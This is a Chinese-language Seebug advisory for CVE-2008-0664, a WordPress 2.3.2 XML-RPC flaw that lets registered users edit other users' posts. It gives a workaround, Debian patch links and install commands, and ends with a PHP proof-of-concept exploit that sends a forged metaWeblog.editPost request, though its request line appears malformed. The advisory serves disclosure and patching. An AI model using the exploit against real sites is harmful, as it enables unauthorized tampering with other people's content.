Wordpress XML-RPC接口非授权操作漏洞

2008-07-07T00:00:00
ID SSV:3562
Type seebug
Reporter Root
Modified 2008-07-07T00:00:00

Description

BUGTRAQ ID: 27669 CVE(CAN) ID: CVE-2008-0664

WordPress是一款免费的论坛Blog系统。

如果启用了注册的话,WordPress的XML-RPC实现(xmlrpc.php)就无法对页面所设置的post_type执行检查,这允许远程攻击者向论坛提交恶意请求更改编辑其他用户的张贴。

WordPress 2.3.2 临时解决方法:

  • 禁止创建帐号,或临时删除xmlrpc.php文件。

厂商补丁:

Debian

Debian已经为此发布了一个安全公告(DSA-1601-1)以及相应补丁: DSA-1601-1:New wordpress packages fix several vulnerabilities 链接:<a href=http://www.debian.org/security/2008/dsa-1601 target=_blank>http://www.debian.org/security/2008/dsa-1601</a>

补丁下载:

Source archives:

<a href=http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10.orig.tar.gz target=_blank>http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10.orig.tar.gz</a> Size/MD5 checksum: 520314 e9d5373b3c6413791f864d56b473dd54 <a href=http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3.dsc target=_blank>http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3.dsc</a> Size/MD5 checksum: 891 d925a63731976b72ad35e4c1805623bf <a href=http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3.diff.gz target=_blank>http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3.diff.gz</a> Size/MD5 checksum: 46073 486916bd4fc6463181eaba84fdc2db31

Architecture independent packages:

<a href=http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3_all.deb target=_blank>http://security.debian.org/pool/updates/main/w/wordpress/wordpress_2.0.10-1etch3_all.deb</a> Size/MD5 checksum: 527158 280ba949f5c38079d2209a468697fb00

补丁安装方法:

  1. 手工安装补丁包:

首先,使用下面的命令来下载补丁软件: # wget url (url是补丁下载链接地址)

然后,使用下面的命令来安装补丁:
# dpkg -i file.deb (file是相应的补丁名)

  1. 使用apt-get自动安装补丁包:

首先,使用下面的命令更新内部数据库: # apt-get update

然后,使用下面的命令安装更新软件包: # apt-get upgrade

WordPress

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=http://wordpress.org/ target=_blank>http://wordpress.org/</a>

                                        
                                            
                                                   1.  &lt;?php   
   2. /**  
   3. * POC : XMLRPC Hack  
   4. *  
   5. */   
   6. $host = ''; // blog url   
   7. $page = '/xmlrpc.php';   
   8. $data = '&lt;?xml version=&quot;1.0&quot; ?&gt;   
   9.         &lt;methodcall&gt;   
  10.                 &lt;methodname&gt;metaWeblog.editPost&lt;/methodname&gt;   
  11.                 &lt;params&gt;   
  12.                         &lt;value&gt;   
  13.                                 &lt;i4&gt;post_ID&lt;/i4&gt;   
  14.                         &lt;/value&gt;   
  15.                         &lt;value&gt;   
  16.                                 &lt;string&gt;username&lt;/string&gt;   
  17.                         &lt;/value&gt;   
  18.                         &lt;value&gt;   
  19.                                 &lt;string&gt;password&lt;/string&gt;   
  20.                         &lt;/value&gt;   
  21.                         &lt;struct&gt;   
  22.                                 &lt;member&gt;   
  23.                                         &lt;name&gt;post_type&lt;/name&gt;   
  24.                                         &lt;value&gt;page&lt;/value&gt;   
  25.                                 &lt;/member&gt;   
  26.                                 &lt;member&gt;   
  27.                                         &lt;name&gt;title&lt;/name&gt;   
  28.                                         &lt;value&gt;   
  29.                                                 &lt;string&gt;Pwnd&lt;/string&gt;   
  30.                                         &lt;/value&gt;   
  31.                                 &lt;/member&gt;   
  32.                                 &lt;member&gt;   
  33.                                         &lt;name&gt;description&lt;/name&gt;   
  34.                                         &lt;value&gt;Whoo is ma biatch&lt;/value&gt;   
  35.                                 &lt;/member&gt;   
  36.                         &lt;/struct&gt;   
  37.                 &lt;/params&gt;   
  38.         &lt;/methodcall&gt;';   
  39.     
  40. $exploited = fsockopen($host, 80, $errorNumber, $errorString);   
  41. $requestHeader = &quot; &quot;.$page.&quot;  HTTP/1.1\r\n&quot;;   
  42. $requestHeader.= &quot;Host: &quot;.$host.&quot;\r\n&quot;;   
  43. $requestHeader.= &quot;User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n&quot;;   
  44. $requestHeader.= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;   
  45. $requestHeader.= &quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;   
  46. $requestHeader.= &quot;Connection: close\r\n\r\n&quot;;   
  47. $requestHeader.= $data;   
  48. fwrite($exploited, $requestHeader );   
  49.     
  50. echo 'done';   
  51. ?&gt;